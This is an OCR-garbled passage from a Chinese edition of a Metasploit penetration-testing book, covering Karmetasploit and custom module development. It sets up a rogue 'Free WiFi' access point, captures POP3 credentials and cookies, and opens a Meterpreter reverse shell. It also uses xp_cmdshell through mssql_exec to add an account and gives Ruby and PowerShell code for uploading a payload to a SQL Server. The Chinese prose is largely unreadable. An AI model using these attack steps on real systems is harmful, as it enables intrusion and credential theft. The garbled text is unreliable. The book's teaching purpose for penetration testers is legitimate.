XA T L M EREE RT73 B . BATEA] airmon-ng T JF wlan0 K % & MW #5K.

root@bt:/opt/metasploit3/msf3# airmon-ng start wlano

BiR: wRASWFREAHEHSE EH KRB, i35 F Aircrack-ng &) B 35
( http://www.aircrack-ng.org/ ) T A EAF AR L& R FiX B4 B4,

12.2 FIRIT

Aircrack-ng 2 /720 4 ] airbase-ng 41 H kA2 Karmetasploit F1 § AP. 76 F-H-Fr,
HATIRCE airbase-ng AP WM T HIEM (-p), B30 EEES (¢ 30) fER] “Free WiFi” 1E
A1 ESSID (-e "Free WiFi"), VLA AIZT (-v), HAEA mon0 £21:

|

root@bt:/opt/metasploit3/msf3# airbase-ng -P -C 30 -e "Free WiFi" -v mon0
0 14:06:57 Created tap interface ato

14:06:57 Trying to set MTU on at0 to 1500

14:06:57 Trying to set MTU on mon0 to 1800

14:06:57 Access Point with BSSID 00:21:29:E2:DE:14 started.

ERE®FFIK, Airbase-ng fllg T —/MFi M4 1 at0. Karmetasploit R {ff F X4~ 1 .
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F—3k, ATIT at0 #: 0 HIE4T DHCP R4 -

0 root@bt:/opt/metasploit3/msfift ifconfig ato up 10.0.0.1 netmask 255.255.255.0
® root@bt:/opt/metasploit3/msf3# dhcpd3 -cf /etc/dhcp3/dhepd.conf ato

L] L L SHIP - L] -

Wrote 0 leases to leases file.

Listening on LPF/at0/00:21:29:e2:de:14/10.0.0/24

Sending on  LPF/at0/00:21:29:e2:de:14/10.0.0/24

Sending on  Socket/fallback/fallback-net

Can't create PID file /var/run/dhcpd.pid: Permission denied.
© root@bt:/opt/metasploit3/msf3# ps aux |grep dhcpd

dhcpd
dhcpd.conf ato
root

4015 0.0 0.2 3812 1840 ? S5s  14:09 0:00 dhcpd3 -cf /etc/dhcp3/

4017 0.0 0.0 2012 564 pts/4 S+ 14:09 0:00 grep dhcpd

® root@bt:/opt/metasploit3/msf3# tail tail -f /var/log/messages

Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr

2

Bt Bt B b BRI Rd RD R

14:06:57 bt kernel: device mon0 entered promiscuous mode

14:09:30 bt dhcpd: Internet Systems Consortium DHCP Server V3.1.1

14:09:30 bt kernel: warning: “dhcpd3' uses 32-bit capabilities (legacy support in use)
14:09:30 bt dhcpd: Copyright 2004-2008 Internet Systems Consortium,

14:09:30 bt dhcpd: All rights reserved.

14:09:30 bt dhcpd: For info, please visit http://www.isc.org/sw/dhcp/

14:09:30 bt dhcpd: Wrote 0 leases to leases file.

14:09:30 bt dhcpd: Listening on LPF/at0/00:21:29:e2:de:14/10.0.0/24

14:09:30 bt dhcpd: Sending on  LPF/at0/00:21:29:e2:de:14/10.0.0/24

MR, #0 at0 #5377 B8 H ip #ibk 10.0.0.1, @ < DHCP RS 24480 at0 iB17,
FHFHEHBANZ AR E TR . b T DHCP R IEEIELT, iB1T psaux®. Bj5, iBE
H B HGERFEA AR R 1P b4 T 0.

ILAE, 488 Karmetasploit AL E 5CH% T, Al 17T LAZE MSF 235 (msfeonsole ) 1 {# HH resource
karma.rc g2 INECUE ST a0 F (A0 7] LUE G 67247 74 msfconsole -r karma.re ¥ ¥ 3L 1F %
16525 MSF 231 )

msf > resource karma.rc
resource (karma.rc)> db_connect postgres:toor@127.0.0.1/msfbook
resource (karma.rc)> use auxiliary/server/browser autopwn
resource (karma.rc)> setg AUTOPWN HOST 10.0.0.1
AUTOPWN HOST => 10.0.0.1
resource (karma.rc)> setg AUTOPWN PORT 55550
AUTOPWN PORT => 55550
resource (karma.rc)> setg AUTOPWN_URI /ads
AUTOPWN URI => /ads
@ resource (karma.rc)> set LHOST 10.0.0.1
LHOST => 10.0.0.1
resource (karma.rc)> set LPORT 45000
LPORT => 45000
resource (karma.rc)> set SRVPORT 55550
SRVPORT => 55550
resource (karma.rc)> set URIPATH /ads
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URIPATH => /ads
resource (karma.rc)> run
[*] Auxiliary module execution completed

® resource (karma.rc)> use auxiliary/server/capture/pop3

resource (karma.rc)> set SRVPORT 110
SRVPORT =» 110

resource (karma.rc)> set SSL false
S5L =>» false

resource (karma.rc)> runm

« « « SNIP . . .

[*] Starting exploit windows/browser/winzip fileview with payload windows/
meterpreter/reverse_tcp

[*] Using URL: http://0.0.0.0:55550/N9wReDIhfKg

[*] Local IP: http://192.168.1.101:55550/N9wReDIhfKg

[*] Server started.

[*] Starting handler for windows/meterpreter/reverse tcp on port 3333

[*] Starting handler for generic/shell reverse tcp on port 6666

[*] Started reverse handler on 10.0.0.1:3333

[*] Starting the payload handler...

[*] Started reverse handler on 10.0.0.1:6666

[*] Starting the payload handler...

[*] --- Done, found 15 exploit modules

[*] Using URL: http://0.0.0.0:55550/ads

[(*] Local IP: http://192.168.1.101:55550/ads

[*] Server started.

IEWPRATE BIRY, WOCH#AT TR A E ., fELl BB, St LHOST Hihb4i B A

10.0.0.1

12.3

0, POP3 & HE1@, RGREME autopwn BEANHEFO, EEAE payloads®.

IRELVEE

ME P UIREERRIIAER AP L, BRAITLEEMN EXHSEFRENI A rHE 1P ik #
SEET . RIEIX R, IEHRIIEE MSF Kb EHFERETH 4. XB, BIIFI—INES

W EBEH G 1 1P Hohk.
Apr 2 15:07:34 bt dhcpd: DHCPDISCOVER from 00:17:9a:b2:bl:6d via at0
Apr 2 15:07:35 bt dhcpd: DHCPOFFER on 10.0.0.100 to 00:17:9a:b2:bi1:6d (v-xp-sp2-bare) via ato
Apr 2 15:07:35 bt dhcpd: DHCPREQUEST for 10.0.0.100 (10.0.0.1) from 00:17:9a:b2:b1:6d
(v-xp-sp2-bare) via ato |
Apr 2 15:07:35 bt dhcpd: DHCPACK on 10.0.0.100 to 00:17:9a:b2:bi:6d (v-xp-sp2-bare) via ato

BATHBd B AR 58 — A gL AT FTER R 2 P 3. W F B, Karmetasploit [E£E 355 :

[*] DNS 10.0.0.100:1049 XID 45030 (IN::A time.windows.com)
[*] DNS 10.0.0.100:1049 XID 47591 (IN::A pop3.securemail.com)
[*] POP3 LOGIN 10.0.0.100:1102 bsmith / s3cr3tp4ss
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@75, Metasploit FTHACE ) POP3 AR 452582k 1 H A A P 2 fustusik, KRB
DNS i# sk #B#k Karmetasploit % B /1) DNS R %45 Fr ik .

12.4 15% Shell

TEIXRT, HPBEWRIE KB, TRMRELEMNIT. ST e, —AMyaEn
TP REEmS THP, wE12-1.

P

] 12-1 Karmetasploit T4 [ ]/ T [f]

24 P MATE BN AT 1S e 4 T R4 R AT 4 B, Karmetasploit 1E T3 A B Bk & 83X cookies:

W E R B, DNS FHICAR SRS BAR % P i ) S S E AT VB B Xy, 0 BT BB &5
RV E RN karma.re XA,

MR, FERXFEMEES, BAE FEMERRAESRS . JBBEACEIETH, WESFs
B~ “Loading” WU . WIRMAFEATOHE, fhrlBERFAMSCHNNERE D, KRHFIEBA]
FREFER . MRIRTTLLE ST U, 24 H - Re Lo R R 2R, XA IREH
B % fy BT Y (] .

T, RESHFFNX RIS R KR i

[*] HTTP REQUEST 10.0.0.100 > www.microsoft.com:80 GET /isapi/redir.dll Windows IE 6.0
cookies=WT NVR=0=/:1=downloads:2=downloads/en; WT_FP(=id=111.222.333.444-1008969152
.30063513: 1v=1267703430218: 55=1267703362203 ;MC1=0U1D=09633fd2bddcdb4baifteb2cc49tbiac4&HASH=
d23f&LV=20103&V=3; A=I&AI=-AxUFAAAAAAAUBWAADSAT6RIMarfsg02pHsnjog!!; MUID=C71490932(864
18EBC913CE45C4326AE

[*] Request '/ads' from 10.0.0.100:1371

© [*] HTTP REQUEST 10.0.0.100 > adwords.google.com:80 GET /forms.html Windows IE 6.0 cookies=

[*] HTTP REQUEST 10.0.0.100 > blogger.com:80 GET /forms.html Windows IE 6.0 cookies=
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Lommens [ e BN . B e |
# % B
[ R

¥

L] L]

[*]
(*]
[*]

[*]
[*]
(*]
[*]
L*]

E

¥ % N &

[*]
[*]
[*]
(*]
[*]
(*]

*

L*]
[*]

(*]
[*]
[*]

[*]
[*]

& 12 ¥ Karmetasploit T HEHS

HTTP REQUEST 10.0.0.100 > care.com:80 GET /forms.html Windows IE 6.0 cookies=

HTTP REQUEST 10.0.0.100 > careerbuilder.com:80 GET /forms.html Windows IE 6.0 cookies=
HTTP REQUEST 10.0.0.100 > ecademy.com:80 GET /forms.html Windows IE 6.0 cookies=

HTTP REQUEST 10.0.0.100 > facebook.com:80 GET /forms.html Windows IE 6.0 cookies=

. SNIP . . .

HTTP REQUEST 10.0.0.100 > www.slashdot.org:80 GET /forms.html Windows IE 6.0 cookies=
HTTP REQUEST 10.0.0.100 > www.twitter.com:80 GET /forms.html Windows IE 6.0 cookies=
Request '/ads?sessid=V21uZG93czpYUDpTUDI6ZW4tdXM6eDg20k1TSUUONIAWOINOMjo%3d" from

10.0.0.100:1371
JavaScript Report: Windows:XP:5P2:en-us:x86:MSIE:6.0;5P2:

Responding with exploits

HTTP REQUEST 10.0.0.100 > www.xing.com:80 GET /forms.html Windows IE 6.0 cookies=
HTTP REQUEST 10.0.0.100 > www.yahoo.com:80 GET /forms.html Windows IE 6.0 cookies=
HTTP REQUEST 10.0.0.100 > www.ziggs.com:80 GET /forms.html Windows IE 6.0 cookles=
HTTP REQUEST 10.0.0.100 > xing.com:80 GET /forms.html Windows IE 6.0 cookies=

HTTP REQUEST 10.0.0.100 > yahoo.com:80 GET /forms.html Windows IE 6.0 cookiess=
HTTP REQUEST 10.0.0.100 > ziggs.com:80 GET /forms.html Windows IE 6.0 cookies=
HTTP REQUEST 10.0.0.100 > care.com:80 GET / Windows IE 6.0 cookies=

HTTP REQUEST 10.0.0.100 > www.care2.com:80 GET / Windows IE 6.0 cookies=

HTTP REQUEST 10.0.0.100 » activex.microsoft.com:80 POST /objects/ocget.dll Windows IE
6.0 cookies=WT FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218:55=
1267703362203 ; MC1=CUID=09633fd2bddcdb4ba1feb2cca9fbsac4&HASH=d23 f&LV=201038V=3;A=1&I=
AxUFAAAAAAAUBWAADSATER JMarfsg02pHsnjog!t; MUID=C7149D932(86418EBC913CE45C4326AE

HTTP 10.0.0.100 attempted to download an ActiveX control

HTTP REQUEST 10.0.0.100 > activex.microsoft.com:80 POST /objects/ocget.dll Windows IE
6.0 cookies=WT FP(=1d=111.222.333.444-1008969152.30063513:1v=1267703430218:55=126770
3362203; MC1=GUID=09633fd2bddcdb4balfeb2cca9fbiaca8HASH=-d23FaLV=201034V=3;A=I41=
AxUFAAAAAAAUBWAADSATER JMarfs902pHsnjog! ! ; MUID=(71490932(C86418EBC913CE45C4326AE

HTTP 10.0.0.100 attempted to download an ActiveX control

Sending Internet Explorer COM CreateObject Code Execution exploit HTML to 10.0.0.100:1371...

HTTP REQUEST 10.0.0.100 > activex.microsoft.com:80 POST /objects/ocget.dll Windows IE
6.0 cookies=WT_FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218:s5=
1267703362203 ; MC1=GUID=09633fd2bddcdb4baife62ccq9fbsac48HASH=d23fELV=201038V=3;A=]1&]=
AxUF AAAAAAAUBWAADSATERIMarfs902pHsnjog! !; MUID=C7149D932C86418EBC913CE45C4326AE

HTTP 10.0.0.100 attempted to download an ActiveX control

HTTP REQUEST 10.0.0.100 > codecs.microsoft.com:80 POST /isapi/ocget.dll Windows IE 6.0
cookies=WT FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218:55-1267703362203;
MC1=GUID=09633fd2bddcdb4balfe62cc49fb4ac4BHASH=d23f&LV=201038V=3; A=IAI=AxUFAAAAAAAU
BwAADSAT6RIMarfs902pHsnjog!!; MUID=C71490932(86418EBC913CE45C4326AE

- « SNIP . . .

[*]
[*]

[*]

HTTP 10.0.0.100 attempted to download an ActiveX control

HTTP REQUEST 10.0.0.100 » codecs.microsoft.com:80 POST /isapi/ocget.dll Windows IE 6.0
cookies=WT_FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218:55=1267703362203;
MC1=GUID=09633fd2bddcdb46a1feb2cca49fbaacaBHASH=d23f&LYV=2010384V=3; A=I&I=AxUFAAAAAAAU
BwAADSAT6ERIMarfs902pHsnjog!!; MUID=C7149D932C86418EBC913CE45C4326AE

HTTP REQUEST 10.0.0.100 > codecs.microsoft.com:80 POST /isapi/ocget.dll Windows IE 6.0
cookies=WT FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218:55=-1267703362203;
MC1=GUID=09633fd2bddcdbabaifeb2cc49tbacaBHASH=d23f&LV=20103&V=3; A=I&I=-AxUFAAAAAAAL
BwAADSATERIMarfsg02pHsnjog!!; MUID=C71490932C86418EBC913CE45C4326AE
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[*] HTTP REQUEST 10.0.0.100 > codecs.microsoft.com:80 POST /isapi/ocget.dll Windows IE 6.0
cookies=WT FPC=id=111.222.333.444-1008969152.30063513:1v=1267703430218:55=1267703362203;
MC1=GUID=09633fd2bddcdb4abarfeb2cc49fbqacakHASH=d23f&LV=201038&V=3; A=IAI=AxXUFAAAAAAAU

BwAADSAT6RIMarfs902pHsnjog!!; MUID=C71490932C86418EBC913CE45C4326AE
[*¥] Sending EXE payload to 10.0.0.100:1371...
[*] Sending stage (748032 bytes) to 10.0.0.100
® [*] Meterpreter session 1 opened (10.0.0.1:3333 -> 10.0.0.100:1438)

7E FEfH B, #RATLAE AL, Metasploit & 56k 3s 2 F 3 £ NI4T M b se B A T B
THLERIO. R)F, ©{EH JavaScript X & H AR ERAE RV WRRAO, I HEHBEX
HREFF AT N @ . TEOL I R A EBEN ActiveX #2147, SWE 12-1 Fin—H BA%
34 . BT RIRAER W Metasploit IETEX & P It T i8R 310 . £ PRI FAEE,
IREER WB BB R T, L PMHEeEcesth @ VA HmEl LT o!

7] %) MSF £35%, AT @ RS THRE, HFERTERNTER & LIRS TH 28K, 2
F, xRS TSRS, EERPRESTEERETIB XA, BB a8 <H.

meterpreter > sessions -i 1

[*¥] Starting interaction with 1...

meterpreter » sysinfo

Computer: V-XP-5P2-BARE

0S : Windows XP (Build 2600, Service Pack 2).

Arch : %86
Language: en US

meterpreter > getuid

Server username: V-XP-SP2-BARE\Administrator

meterpreter > run migrate -f

[*] Current server process: jEFiwxBKyjoHGijtP.exe (3448)
[*] Spawning a notepad.exe host process...

[*] Migrating into process ID 2232

[*] New server process: notepad.exe (2232)

meterpreter > screenshot

Screenshot saved to: /opt/metasploit3/msf3/rkGrMLPa. jpeg
meterpreter >

A & Windows XP SP2 BRiA 2235 5L AE % A K21 Internet Explorer 6 (M E &R AR ¥ 5
B, ZPimtEMATEEZZEEEEN, REE M mgERELHRE .

12.5 NG

Wit B Mk OBk T EHMATREE. REZXMBGETELR L EETHE, A
R — MERERINEE KR T FMBRANKIBEPALER P imEdl. MBS LLRFE
PR T EERARIRATAY, B E EEX R ™ R E R SR T B ) B E R AR 2

MERCALBENLHXMHBGAEZRE, RABMSREZBFEHANNTERNENZ2MET
M. PR SE X 2N ETH SR B e P o 2 NS ? IE L A] A WE IETEIE1T Karmetasploit?
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w5 R HCHIRIR

4% B YR H CUH) Metasploit BEEURARN LA S B, REVRF —HLRPESR LR —MEZELI
FIEE. HT Metasploit F2 H Ruby 155 5L, HEHBANEATES IR FESEE Ruby RfZES. W0
RIRIEARE DL Ruby “Z&” #E, BEHREZEEWHEEMIES, SAAERYE, FRELIRBER
TsEgefizes] . REREE, %3 Ruby ESHFRMASES K. MRREIIRAGes AT —
45 Ruby #EE, PRATLUGE R BOIART, SEZEEEE/RRT Ruby 155 51, REERHIFREEARE,

EARTER, BATEHS — PR A mssqgl powershell FIMEE, FKEIIESE 18 & Defcon 21 I
i Josh Kelley (winfang) 1 David Kennedy BT & fi f) — I ER AR, X MEBRRELE His %
3 T ¥ PowerShell f) Windows #:1E &% (BRiAZ Windows 7).

XA 20— PR HERT MSF 3 | By 8y ¥ 8 0 oS it HI R A 4% 3, 3 nT LU
MS SQL E R E| Hir R4t L, XA BRI H BArRE L/, ¥ d1—B PowerShell
RRIACRE -+ 7S 3 ] O B TR & B — A T AT SO, REPITE, HoABGEEERME A
shell 1. XMERHGTELIMAT Metasploit #2425, HHRERBABEHETFEN, BAIEX
A XA BB R R T SRR SR B R,
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XA T By K e — B SO R B Okt Nkl A, JE e MS SQL BE1T
HE P Ueh S it XA —AATELERE Metasploit HEAZ9E KIDHRERTABIPIF. 4R
AT BEMRE, RH2ERE 2 FIFARBN S SRS, KRR %S S Us b
HIBEST, FFrTLURIA H CE SRR S B BB, A AR B SCIERNZERRRIT SUE T — 2.
I RVRIZ T Metasploit FE3, AT ULAE— DA MHIR (A B, 45 taX R R Ry BBk .

13.1 & MS SQL Li#HITw<THIT

EH 6 L RMNOCELERE, REHMALEHGH MS SQL #IER R, (sa) 1%
WENSEN, mHAMNEEAEREERIAX 4N RSERR™ELGE. sa KO BRIALE
MS SQL e R4 ) sysadmin A, {IRFATEBFEIAN, B2 A&7 2 MS SQL
AR S5 a5 s ER I E T2 4SS ESE sa k'S . FATREMEHRRIEM 3 A Fré) 2 W MS
SQL AR5 ASEDHLEAEY, REURWAEHRINPBRRITBER L. EMRINICEESR 6 54 A
AIAREE, 47 a] LL{#F H Metasploit 1 B4R R ) MS SQL RS- 5LH1, FFX) 55 F MY sa ik
FUEAT P14 2% i

HBIRCE “B” T M sa S Z)E, PRELATLITE MS SQL B FET T E A . BB,
G EEA T A HEGLAT ., KPP ass T A >R E2E AR B9 BAAAE IR xp_cmdshell.
i XA FE(F AT LA MS SQL MR %528 iR F HIEAT M P 2R BE (I H /2 Local System) T
HATIREBRIE RS2,

#B7R: SQL Server 2005 #= 2008 P4 &R 5 Z AT HATT EM, 24G—24WF
sysadmin f EALRFET A A SQL 4 R EH W E Z A fidA2, Hlde, AR-TvA4EH SELECT
loginname FROM master..syslogins WHERE sysadmin=1 & &) & & A sysadmin f &9/ F
SR, REZKERPILT—AMAFehdnsald, 4G LEWMA T sysadmin A EZE, RERFL
KT /4 MS SQL £ 4.

BT R ar 287 T WAl iliid Metasploit 1 MS SQL 3™ BB kiz T — K BB iE R 4
TR

O use msf > use admin/mssql/mssql_exec
® msf auxiliary(mssql exec) > show options

Module options:

Name Current Setting Required Description

CMD cmd.exe /¢ echo OWNED > C:\owned.exe no Command to execute

PASSWORD no The password for the
specified username

RHOST yes The target address

RPORT 1433 yes The target port

USERNAME sa no The username to authenticate as
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® msf auxiliary(mssql exec) > set RHOST 172.16.32.136
RHOST =» 172.16.32.136

@ msf auxiliary(mssql exec) > set CMD net user metasploit p@s5word /ADD
CMD => pet user metasploit p@s55wOrd /ADD
msf auxiliary(mssql exec) > exploit

[*] SOL Query: EXEC master..xp cmdshell 'net user metasploit p@sSwOrd /ADD'
@ The command completed successfully.

[*] Auxiliary module execution completed
msf auxiliary(mssql exec) >

TEIXA o, IR EBET mssql exec WP BEO, ZEHSEER R E A
xp_cmdshell FFELERPATRIER LS. BETHR, RINEBF T HEMECERMY|RO, I
WE T HisENO, RFmA TRHERITHEREREWLO, EINEL exploit iy < HATE
FEHr . R LU BB S G RIAT O, EAIELF] A xp_cmdshell A2 B IIHLZE RS ANA
T M. (FEiXef, AR LLFE44T net localgroup administrators metasploit /ADD 4%,
Pz P N33 BB R G R A H T B 4D

ML iR, ReICLR IR, mssql exec fEERILSCHE— MBI MS SQL fRE#H ATV R
44T shell.

13.2 RE—1 B FER Metasploit #R1R

IAETRAT RN BT WIS F I X AN mssql_exec TR, REFERWFILIA . XFEH
BT UAESS B SRR ZHT, XA RRARS A LA D EUW RS, ERAMER —
P A G AFARAT TP MR RS, KEHEBERUT LAER:

root@bt:/opt/framework3/msf3# nano modules/auxiliary/admin/mssql/mssql _exec.rb

T HEAAREAT B MRS P E kR, HPEE T —SHERIIREMEA:

@ require 'msf/core’

® class Metasploit3 < Mst::Auxiliary
®include Msf::Exploit::Remote: :MSSQL

def run
Omssql xpcmdshell(datastore['CMD'], true)
if mssgl login datastore
end
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B —1TOERERAN X MR FE E 5| ] Metasploit 20 ET FIZhEE, #ETFROFE L T %R
TF— 2 BA R, include 1E1) @ - X8R, & M Metasploit O FEP S T MS SQL #hisl
th, Hrh & T Brf 2T MS SQL {5 HIFTH 5 MS SQL A X HIThREANAS, B&)o » A Metasploit
MBECEPTRREENFAERE S CMDO, HHH MS SQL thilERTH
mssql xpemdshell FE1THU1T -

i FRAIB LR A F T Metasploit #%0FEH I MS SQL P ThEESIER, KX E BT R B
heeH N EEFHTH. BRINMELW T2 EARKOE QS 54T I mssqlrb XAFH
mssql_command.rb 1

root@bt:/opt/framework3/msf3# nano lib/msf/core/exploit/mssql.rb
root@bt:/opt/framework3/msf3# nano lib/msf/core/exploit/mssql_commands.rb

f£ Nano 323 CTRL-W 7£ mssql.rb XA+ #2% mssql_xpemdshell, R LLIRE]
W FRKEEENL, %5 VF T Metasploit 2047 248 xp_cmdshell Ff L2 .

#

# Execute a system command via xp_cmdshell

#

def mssql xpcmdshell(cmd,doprint=false,opts={})
force enable = false
begin

res = mssql query("EXEC master..xp cmdshell® '#{cmd}'®@", false, opts)

REAP L T HRESE MS SQL R4y 88 EATH SQL Br#iER), rEAFERIIXZ—1
xp_cmdshell eI FERAHO, LLE—BEZBECHAPFERPITGSHAZES®., ik, 7F
REPIN— AP PEGEZE RS R E cmd 22854 “net user metasploit p@55wO0rd! /ADD”,
MTE MS SQL ¥{EFEH#4T EXEC master..xp_cmdshell 'net user metasploit p@55w0rd!
/ADD',

MKV KT SEBE S mssql commands.rb L4, 7FiX B ¥R 0] LA & 2 E # 835
xp_cmdshell 776§ FF4CE.

# Re-enable the xp cmdshell stored procedure in 2005 and 2008

def mssql_xpcmdshell enable(opts={});

"exec master.dbo.sp configure 'show advanced options',1;RECONFIGURE;exec
master.dbo.sp_configure 'xp_cmdshell’, 1;RECONFIGURE;" @

LB O 5 < T A 2k74E MS SQL 2005 1 2008  #3& xp_cmdshell #F &I BT KX R4 .
MAE, IREETMTHAKES H CRBRRFTERBIRRE, BALERINITHEREE !

188



£13F HKSERECHER

13.3 H/wE—1FTHIIRIR

B ARINAE IE AT — KB ENR, MREIE T —&I12197% Microsoft Server 2008 R2 & H
SQL Server 2008 ) &R %E, HTHAKAE Windows 7 x64 47 & M Windows Server 2008 5 -
1 debug.exe, BIMAEIXEERG FARTIEMERIFESE 11 A G046 S8 7 i3k e — 3 T8 .
XA VR0 B 5 D ET R, 3 IRAE¥ R Eh Bt — & Windows Server 2008 1 SQL
Server 2008 ] & %k .

BMNEZREBEWN RGP T ERE, 8%, RESLBE T SQL RS 24/ sa W 1
2, EFRMEEHAE T xp_cmdshell ARG IHN . MARATEFEXES HRRS HiE—
Meterpreter FJS(ar (7, {HAEFR T 1433 &y 02 ST B8 D &SR XA ). WRIEASNIE HAR RS
R EHYED KEE & Windows HKAFBT KEE IR, BARTEIESEIX & RE A5 5] %8l /3¢
ARG k8%, DLRSEPREE .

13.3.1 PowerShell

Windows f] PowerShell j& A 1 7EIX PP 3 52 FHE—ml 4T M) B0 2. PowerShell 2 — 1
HEGR K HI Windows BIATE T, A LLAVFIRIE I d 24T R U5 R BN NET HE42. 35 BKAY
PowerShell #t X IETERRY XA TR, I TIIREMEE S NET R T LA 324
TR EEHEMERN TR, BA1EXEALSKAHEA ) PowerShell () T RS iy Bf
RIThREh &, I H 7 EAE T R IRE —SE R RS & b AT LU B - Fh 2 Thak Y B 4
IEE G TLLT .

BV S — N F B, ] Metasploit 58 KIHEERH — i HICHER A+ NI E R (8
# Base64 grbd 7 0), EHFHKHMUIEENRERAE LEL, REBRITEH PowerShell ¥ H 4
elal A IR F, XEHRIRE T ABATE T .

B, HEIMELW TS, M mssql payload BB IR CAHH VI H— MEER S

root@bt:/opt/framework3/msf3# cp modules/exploits/windows/mssql/mssql_payload.rb
modules/exploits/windows/mssql/mssql_powershell.rb

Wia, BAHTIHFRIRIBIER L) mssql_powershellrb CAF, W FEXREHRE, XBE—PETF
BB BT shell P, HIE— LR RAF4BIE TABRPRIARSE, HZ—FEZiEYF
TR T E A,

require 'msf/core’' # require core libraries

class Metasploit3 < Msf::Exploit::Remote # define this as a remote exploit
Rank = ExcellentRanking # reliable exploit ranking

include Msf::Exploit::Remote::MSSQL # include the mssgl.rb library
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def initialize(info = {}) # initialize the basic template
Osuper(update_info(info,
'Name' . =» 'Microsoft SQL Server PowerShell Payload',
'Description’ => %q{
This module will deliver our payload through Microsoft PowerShell
using MSSQOL based attack vectors.

}s
"Author’ => | 'David Kennedy "RelL1K" <kennedydo13[at]gmail.com>'],
"License’ => MSF_LICENSE,
'Version' => "$Revision: 8771 %',
'References’ =>

|

[ "URL", 'http://www.secmaniac.com' ]
I,
® 'Platform’ => 'win', # target only windows

'Targets’ =>

[

1,
© 'DefaultTarget' => 0

))

register options({ # register options for the user to pick from

[

©0ptBool.new( UsePowerShell',[ false, "Use PowerShell as payload delivery
method instead”, true]), # default to PowerShell
1)

[ "Automatic', { } ], # automatic targeting

end
def exploit # define our exploit here; it does nothing at this point

@handler # call the Metasploit handler
disconnect # after handler disconnect
end
end

FEIXMMBBEBGH R IERH TEZA, REFEE Y —SEANEE. HIEET XD
BRR k. AN ZERS 0, ZEHNEXERIIEITFES (Windows) ®@LL K Hir £ %
RO (FrERMERFERA) . FEITIwE L4 A UsePowerShell FIH 25O, BB
TR FEFERESER. BEfHEE — M EERFEO, i b H fdl 5l B b5 2% R0
PR

13.3.2 i={T Shell EiEX+
ESEH T B EN RS Y 5, FAE MSF Lighizfrix Mibe, kES THRA T
LG TN -

mst > use windows/mssql/mssql_powershell
msf exploit(mssql powershell) > show options
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Module options:

Name Current Setting Required Description

PASSWORD no The password for the specified username

RHOST yes The target address

RPORT 1433 yes The target port

USERNAME sa no The username to authenticate as

UsePowerShell true no Use PowerShell as payload delivery method instead

IG5 5 SR show options iy &S ? BT X4 T BLE 7 HEs N 33X M2 3 B
R I BT AC B I .

BRTERRA 14 R 2L e R A 5 - GRAE G 5 1Y mssql_powershell.rb 3L, BRJGREAR 5370 —
™ mssql.rb XLAFET

M RTE Metasploit BB 3% Umodules/exploits, modules/auxiliary) &5 & FhiB BB i
HREUYRADSET, R4 RILKEZEEHHA LA, HEHa B “def exploit” 1Uh5.
AT EACAE A VRAACRS N LR e R, RS & #F BE Mt Se S A TR FET
T, ALK BTN def exploit A%, XBAUHE X T BRATHNSE B £ o T
HERY, ARG IRAT S HoAh K B E PR B AIS 2 LA LR 5y, HE R BN TR —
e RE

def exploit

# if u/n and p/w didn't work throw error

Qif(not mssql_login datastore)
@print status("Invalid SQL Server credentials")
return

end

# Use powershell method for payload delivery
®if (datastore[ 'UsePowerShell'])

®powershell upload exec(Msf::Util::EXE.to win32pe(framework,payload.encoded))

end
handler
disconnect
end
end

XM ARBERMNETCLLEFHERT O, MREFER, ME7rH “Invalid SQL Server
Credentials” @ 1H5i215 B . UsePowerShell 7775 @© & %A H] powershell upload exec (O,
XA R ECE A sh ) E AN RAFEBENRAH 45 52 [ Metasploit W iki#fT. ERNBREIZITIX
MNEFBHHERE, JRNFE MSF P ireRMNMMEAKNIBGERE T, MR Msf::
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Util::EXE.to_win32pe(framework,payload.encoded)fIi% T Ac B B 3h 4 FA 14— AR BGEHE
oy —BEHIFEFF o

13.3.3 #wE powershell_upload_exec 4]

IMAERANIKFIT H Z R B EH L Metasploit # 0 FEFH) mssql.rb XA, HHERBHEER. K
{11573 +& 3% b0 powershell upload exec B EHI & -

root@bt:/opt/framework3/msf3# nano lib/msf/core/exploit/mssql.rb

TEURE Metasploit F, HAJLLE#E “PowerShell” , Ni%0] LATE mssql.rb U F BT 5] H
FARRS, PRl LUK X SRS M S Al BR, iR FRATTEE Sk S iniX B XA .

#

# Upload and execute a Windows binary through MS SQL queries and PowerShell
#

Odef powershell upload exec(exe, debug=false)

# hex converter

®hex = exe.unpack("H*")[0]

# create random alpha 8 character names

©var payload = rand text alpha(8)

Oprint_status("Warning: This module will leave #{var_payload}.exe in the S0L
Server ¥TEMP% directory")

Y0l LLE 3|3 A 15T powershell_upload exec BREAIE X O, %R HFE exe Fl debug BEZH
NEBH, exe BEURFAZ AT LA RZIRE MR LHALHS Msf::Util::EXE.to_win32pe(frame-
work,payload.encoded)* & 253 e i) —HEHIRAT IO, T debug ZHENNRE A false, RxFA]
AEFEEA debug (58, B[R EHAT I it 7] LR B E A true.

BETX, ROV E R HREF A RGN ARS#REe, XITHH
“H” HEBRE <47 s NR 3, PR H LT/ R ma i k.

BAIBNER T — A BEVLE )\ F R R 20, @%XFBEN AT IR R E
KHHRE.

g, BANERBEEEE, ERAEFSREEHIRRLT, £ SQL MRS/ Temp HR
TO.

13.3.4 Mt7RitlaEikE ZiHH IR F

T PowerShell 85 FIALHS B/ T A+ NS A Bl — A B FrLRE, XBAH
Ko E I — N FHRER, g EAEZERRSE LT
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# Our payload converter grabs a hex file and converts it to binary through PowerShell

©® h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('", $s);%s= @$s.
Replace('"r',""); $s = $s.Replace(''"n’,"");$b = new-object byte[] $($s.Length/
2);0..%5($b.Length-1) | %{$b[$ ] = [Convert]::ToByte($s.Substring($($ *2),2),16)};
[10.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"

® h2b_unicode=Rex::Text.to unicode(h2b)

# base64 encoding allows us to perform execution through powershell without registry changes
® h2b encoded = Rex::Text.encode base64(h2b_unicode)

® print status(“"Uploading the payload #{var payload}, please be patient...")

FALEEL PowerShell 5 T —/NA T N6 2 R A # O, XITRELEFLECRE T
—NFAEAL, RIEHTSEEHIR Metasploit BUdig e A 3t H 7 KB A#t 2 (var_payload 28
2L Metasploit 242 BT —NBEHLSCH )

H T MS SQL A MM F R E, BATFH LR/ 2§k o B 84 77 B 500 F
